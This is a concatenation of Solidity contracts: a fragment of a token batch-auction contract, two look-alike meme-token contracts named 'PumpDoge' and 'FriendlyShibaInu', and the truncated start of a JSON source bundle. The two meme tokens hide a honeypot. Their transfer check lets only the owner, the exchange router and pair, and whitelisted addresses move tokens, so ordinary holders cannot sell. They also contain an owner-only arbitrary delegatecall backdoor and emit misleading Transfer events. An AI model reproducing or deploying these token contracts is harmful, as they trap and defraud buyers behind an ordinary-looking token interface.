AddedCommitment(address addr, uint256 commitment); /// @notice Event for finalization of the auction. event AuctionFinalized(); /// @notice Event for cancellation of the auction. event AuctionCancelled(); /** * @notice Initializes main contract variables and transfers funds for the auction. * @dev Init function. * @param _funder The address that funds the token for crowdsale. * @param _token Address of the token being sold. * @param _totalTokens The total number of tokens to sell in auction. * @param _startTime Auction start time. * @param _endTime Auction end time. * @param _paymentCurrency The currency the crowdsale accepts for payment. Can be ETH or token address. * @param _minimumCommitmentAmount Minimum amount collected at which the auction will be successful. * @param _admin Address that can finalize auction. * @param _wallet Address where collected funds will be forwarded to. */ function initAuction( address _funder, address _token, uint256 _totalTokens, uint256 _startTime, uint256 _endTime, address _paymentCurrency, uint256 _minimumCommitmentAmount, address _admin, address _pointList, address payable _wallet ) public { require(_startTime < 10000000000, "BatchAuction: enter an unix timestamp in seconds, not miliseconds"); require(_endTime < 10000000000, "BatchAuction: enter an unix timestamp in seconds, not miliseconds"); require(_startTime >= block.timestamp, "BatchAuction: start time is before current time"); require(_endTime > _startTime, "BatchAuction: end time must be older than start time"); require(_totalTokens > 0,"BatchAuction: total tokens must be greater than zero"); require(_admin != address(0), "BatchAuction: admin is the zero address"); require(_wallet != address(0), "BatchAuction: wallet is the zero address"); require(IERC20(_token).decimals() == 18, "BatchAuction: Token does not have 18 decimals"); if (_paymentCurrency != ETH_ADDRESS) { require(IERC20(_paymentCurrency).decimals() > 0, "BatchAuction: Payment currency is not ERC20"); } marketStatus.minimumCommitmentAmount = BoringMath.to128(_minimumCommitmentAmount); marketInfo.startTime = BoringMath.to64(_startTime); marketInfo.endTime = BoringMath.to64(_endTime); marketInfo.totalTokens = BoringMath.to128(_totalTokens); auctionToken = _token; paymentCurrency = _paymentCurrency; wallet = _wallet; initAccessControls(_admin); _setList(_pointList); _safeTransferFrom(auctionToken, _funder, _totalTokens); } ///-------------------------------------------------------- /// Commit to buying tokens! ///-------------------------------------------------------- receive() external payable { revertBecauseUserDidNotProvideAgreement(); } /** * @dev Attribution to the awesome delta.financial contracts */ function marketParticipationAgreement() public pure returns (string memory) { return "I understand that I am interacting with a smart contract. I understand that tokens commited are subject to the token issuer and local laws where applicable. I have reviewed the code of this smart contract and understand it fully. I agree to not hold developers or other people associated with the project liable for any losses or misunderstandings"; } /** * @dev Not using modifiers is a purposeful choice for code readability. */ function revertBecauseUserDidNotProvideAgreement() internal pure { revert("No agreement provided, please review the smart contract before interacting with it"); } /** * @notice Commit ETH to buy tokens on auction. * @param _beneficiary Auction participant ETH address. */ function commitEth(address payable _beneficiary, bool readAndAgreedToMarketParticipationAgreement) public payable { require(paymentCurrency == ETH_ADDRESS, "BatchAuction: payment currency is not ETH"); require(msg.value > 0, "BatchAuction: Value must be higher than 0"); if(readAndAgreedToMarketParticipationAgreement == false) { revertBecauseUserDidNotProvideAgreement(); } _addCommitment(_beneficiary, msg.value); } /** * @notice Buy Tokens by commiting approved ERC20 tokens to this contract address. * @param _amount Amount of tokens to commit. */ function commitTokens(uint256 _amount, bool readAndAgreedToMarketParticipationAgreement) public { commitTokensFrom(msg.sender, _amount, readAndAgreedToMarketParticipationAgreement); } /** * @notice Checks if amout not 0 and makes the transfer and adds commitment. * @dev Users must approve contract prior to committing tokens to auction. * @param _from User ERC20 address. * @param _amount Amount of approved ERC20 tokens. */ function commitTokensFrom(address _from, uint256 _amount, bool readAndAgreedToMarketParticipationAgreement) public nonReentrant { require(paymentCurrency != ETH_ADDRESS, "BatchAuction: Payment currency is not a token"); if(readAndAgreedToMarketParticipationAgreement == false) { revertBecauseUserDidNotProvideAgreement(); } require(_amount> 0, "BatchAuction: Value must be higher than 0"); _safeTransferFrom(paymentCurrency, msg.sender, _amount); _addCommitment(_from, _amount); } /// @notice Commits to an amount during an auction /** * @notice Updates commitment for this address and total commitment of the auction. * @param _addr Auction participant address. * @param _commitment The amount to commit. */ function _addCommitment(address _addr, uint256 _commitment) internal { require(block.timestamp >= marketInfo.startTime && block.timestamp <= marketInfo.endTime, "BatchAuction: outside auction hours"); uint256 newCommitment = commitments[_addr].add(_commitment); if (marketStatus.usePointList) { require(IPointList(pointList).hasPoints(_addr, newCommitment)); } commitments[_addr] = newCommitment; marketStatus.commitmentsTotal = BoringMath.to128(uint256(marketStatus.commitmentsTotal).add(_commitment)); emit AddedCommitment(_addr, _commitment); } /** * @notice Calculates amount of auction tokens for user to receive. * @param amount Amount of tokens to commit. * @return Auction token amount. */ function _getTokenAmount(uint256 amount) internal view returns (uint256) { if (marketStatus.commitmentsTotal == 0) return 0; return amount.mul(uint256(marketInfo.totalTokens)).div(uint256(marketStatus.commitmentsTotal)); } /** * @notice Calculates the price of each token from all commitments. * @return Token price. */ function tokenPrice() public view returns (uint256) { return uint256(marketStatus.commitmentsTotal).mul(MISO_PRECISION) .mul(1e18).div(uint256(marketInfo.totalTokens)).div(MISO_PRECISION); } ///-------------------------------------------------------- /// Finalize Auction ///-------------------------------------------------------- /// @notice Auction finishes successfully above the reserve /// @dev Transfer contract funds to initialized wallet. function finalize() public nonReentrant { require(hasAdminRole(msg.sender) || wallet == msg.sender || hasSmartContractRole(msg.sender) || finalizeTimeExpired(), "BatchAuction: Sender must be admin"); require(!marketStatus.finalized, "BatchAuction: Auction has already finalized"); require(block.timestamp > marketInfo.endTime, "BatchAuction: Auction has not finished yet"); if (auctionSuccessful()) { /// @dev Successful auction /// @dev Transfer contributed tokens to wallet. _safeTokenPayment(paymentCurrency, wallet, uint256(marketStatus.commitmentsTotal)); } else { /// @dev Failed auction /// @dev Return auction tokens back to wallet. require(block.timestamp > marketInfo.endTime, "BatchAuction: Auction has not finished yet"); _safeTokenPayment(auctionToken, wallet, marketInfo.totalTokens); } marketStatus.finalized = true; emit AuctionFinalized(); } /** * @notice Cancel Auction * @dev Admin can cancel the auction before it starts */ function cancelAuction() public nonReentrant { require(hasAdminRole(msg.sender)); MarketStatus storage status = marketStatus; require(!status.finalized, "Crowdsale: already finalized"); require( uint256(status.commitmentsTotal) == 0, "Crowdsale: Funds already raised" ); _safeTokenPayment(auctionToken, wallet, uint256(marketInfo.totalTokens)); status.finalized = true; emit AuctionCancelled(); } /// @notice Withdraws bought tokens, or returns commitment if the sale is unsuccessful. function withdrawTokens() public { withdrawTokens(msg.sender); } /// @notice Withdraw your tokens once the Auction has ended. function withdrawTokens(address payable beneficiary) public nonReentrant { if (auctionSuccessful()) { require(marketStatus.finalized, "BatchAuction: not finalized"); /// @dev Successful auction! Transfer claimed tokens. uint256 tokensToClaim = tokensClaimable(beneficiary); require(tokensToClaim > 0, "BatchAuction: No tokens to claim"); claimed[beneficiary] = claimed[beneficiary].add(tokensToClaim); _safeTokenPayment(auctionToken, beneficiary, tokensToClaim); } else { /// @dev Auction did not meet reserve price. /// @dev Return committed funds back to user. require(block.timestamp > marketInfo.endTime, "BatchAuction: Auction has not finished yet"); uint256 fundsCommitted = commitments[beneficiary]; require(fundsCommitted > 0, "BatchAuction: No funds committed"); commitments[beneficiary] = 0; // Stop multiple withdrawals and free some gas _safeTokenPayment(paymentCurrency, beneficiary, fundsCommitted); } } /** * @notice How many tokens the user is able to claim. * @param _user Auction participant address. * @return claimerCommitment Tokens left to claim. */ function tokensClaimable(address _user) public view returns (uint256 claimerCommitment) { if (commitments[_user] == 0) return 0; uint256 unclaimedTokens = IERC20(auctionToken).balanceOf(address(this)); claimerCommitment = _getTokenAmount(commitments[_user]); claimerCommitment = claimerCommitment.sub(claimed[_user]); if(claimerCommitment > unclaimedTokens){ claimerCommitment = unclaimedTokens; } } /** * @notice Checks if raised more than minimum amount. * @return True if tokens sold greater than or equals to the minimum commitment amount. */ function auctionSuccessful() public view returns (bool) { return uint256(marketStatus.commitmentsTotal) >= uint256(marketStatus.minimumCommitmentAmount) && uint256(marketStatus.commitmentsTotal) > 0; } /** * @notice Checks if the auction has ended. * @return bool True if current time is greater than auction end time. */ function auctionEnded() public view returns (bool) { return block.timestamp > marketInfo.endTime; } /** * @notice Checks if the auction has been finalised. * @return bool True if auction has been finalised. */ function finalized() public view returns (bool) { return marketStatus.finalized; } /// @notice Returns true if 7 days have passed since the end of the auction function finalizeTimeExpired() public view returns (bool) { return uint256(marketInfo.endTime) + 7 days < block.timestamp; } //-------------------------------------------------------- // Documents //-------------------------------------------------------- function setDocument(string calldata _name, string calldata _data) external { require(hasAdminRole(msg.sender) ); _setDocument( _name, _data); } function setDocuments(string[] calldata _name, string[] calldata _data) external { require(hasAdminRole(msg.sender) ); uint256 numDocs = _name.length; for (uint256 i = 0; i < numDocs; i++) { _setDocument( _name[i], _data[i]); } } function removeDocument(string calldata _name) external { require(hasAdminRole(msg.sender)); _removeDocument(_name); } //-------------------------------------------------------- // Point Lists //-------------------------------------------------------- function setList(address _list) external { require(hasAdminRole(msg.sender)); _setList(_list); } function enableList(bool _status) external { require(hasAdminRole(msg.sender)); marketStatus.usePointList = _status; } function _setList(address _pointList) private { if (_pointList != address(0)) { pointList = _pointList; marketStatus.usePointList = true; } } //-------------------------------------------------------- // Setter Functions //-------------------------------------------------------- /** * @notice Admin can set start and end time through this function. * @param _startTime Auction start time. * @param _endTime Auction end time. */ function setAuctionTime(uint256 _startTime, uint256 _endTime) external { require(hasAdminRole(msg.sender)); require(_startTime < 10000000000, "BatchAuction: enter an unix timestamp in seconds, not miliseconds"); require(_endTime < 10000000000, "BatchAuction: enter an unix timestamp in seconds, not miliseconds"); require(_startTime >= block.timestamp, "BatchAuction: start time is before current time"); require(_endTime > _startTime, "BatchAuction: end time must be older than start price"); require(marketStatus.commitmentsTotal == 0, "BatchAuction: auction cannot have already started"); marketInfo.startTime = BoringMath.to64(_startTime); marketInfo.endTime = BoringMath.to64(_endTime); emit AuctionTimeUpdated(_startTime,_endTime); } /** * @notice Admin can set start and min price through this function. * @param _minimumCommitmentAmount Auction minimum raised target. */ function setAuctionPrice(uint256 _minimumCommitmentAmount) external { require(hasAdminRole(msg.sender)); require(marketStatus.commitmentsTotal == 0, "BatchAuction: auction cannot have already started"); marketStatus.minimumCommitmentAmount = BoringMath.to128(_minimumCommitmentAmount); emit AuctionPriceUpdated(_minimumCommitmentAmount); } /** * @notice Admin can set the auction wallet through this function. * @param _wallet Auction wallet is where funds will be sent. */ function setAuctionWallet(address payable _wallet) external { require(hasAdminRole(msg.sender)); require(_wallet != address(0), "BatchAuction: wallet is the zero address"); wallet = _wallet; emit AuctionWalletUpdated(_wallet); } //-------------------------------------------------------- // Market Launchers //-------------------------------------------------------- function init(bytes calldata _data) external override payable { } function initMarket( bytes calldata _data ) public override { ( address _funder, address _token, uint256 _totalTokens, uint256 _startTime, uint256 _endTime, address _paymentCurrency, uint256 _minimumCommitmentAmount, address _admin, address _pointList, address payable _wallet ) = abi.decode(_data, ( address, address, uint256, uint256, uint256, address, uint256, address, address, address )); initAuction(_funder, _token, _totalTokens, _startTime, _endTime, _paymentCurrency, _minimumCommitmentAmount, _admin, _pointList, _wallet); } function getBatchAuctionInitData( address _funder, address _token, uint256 _totalTokens, uint256 _startTime, uint256 _endTime, address _paymentCurrency, uint256 _minimumCommitmentAmount, address _admin, address _pointList, address payable _wallet ) external pure returns (bytes memory _data) { return abi.encode( _funder, _token, _totalTokens, _startTime, _endTime, _paymentCurrency, _minimumCommitmentAmount, _admin, _pointList, _wallet ); } function getBaseInformation() external view returns( address token, uint64 startTime, uint64 endTime, bool marketFinalized ) { return (auctionToken, marketInfo.startTime, marketInfo.endTime, marketStatus.finalized); } function getTotalTokens() external view returns(uint256) { return uint256(marketInfo.totalTokens); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract PumpDoge { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract FriendlyShibaInu{ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
{{ "language": "Solidity", "sources": { "contracts/Token.sol": { "content": "//SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\ninterface IERC20 {\n function totalSupply() external view returns(uint);\n\n function balanceOf(address account) external view returns(uint);\n\n function transfer(address recipient, uint amount) external returns(bool);\n\n function allowance(address owner, address spender) external view returns(uint);\n\n function approve(address spender, uint amount) external returns(bool);\n\n function transferFrom(address sender, address recipient, uint amount) external returns(bool);\n event Transfer(address indexed from, address indexed to, uint value);\n event Approval(address indexed owner, address indexed spender, uint value);\n}\n\ninterface IUniswapV2Router02 {\n \n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nlibrary Address {\n function isContract(address account) internal view returns(bool) {\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n // solhint-disable-next-line no-inline-assembly\n assembly { codehash:= extcodehash(account) }\n return (codehash != 0x0 && codehash != accountHash);\n }\n}\n\nabstract contract Context {\n constructor() {}\n // solhint-disable-previous-line no-empty-blocks\n function _msgSender() internal view returns(address payable) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint a, uint b) internal pure returns(uint) {\n uint c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint a, uint b) internal pure returns(uint) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {\n require(b <= a, errorMessage);\n uint c = a - b;\n\n return c;\n }\n\n function mul(uint a, uint b) internal pure returns(uint) {\n if (a == 0) {\n return 0;\n }\n\n uint c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint a, uint b) internal pure returns(uint) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {\n // Solidity only automatically asserts when dividing by 0\n require(b > 0, errorMessage);\n uint c = a / b;\n\n return c;\n }\n}\n\nlibrary SafeERC20 {\n using SafeMath\n for uint;\n using Address\n for address;\n\n function safeTransfer(IERC20 token, address to, uint value) internal {\n callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function 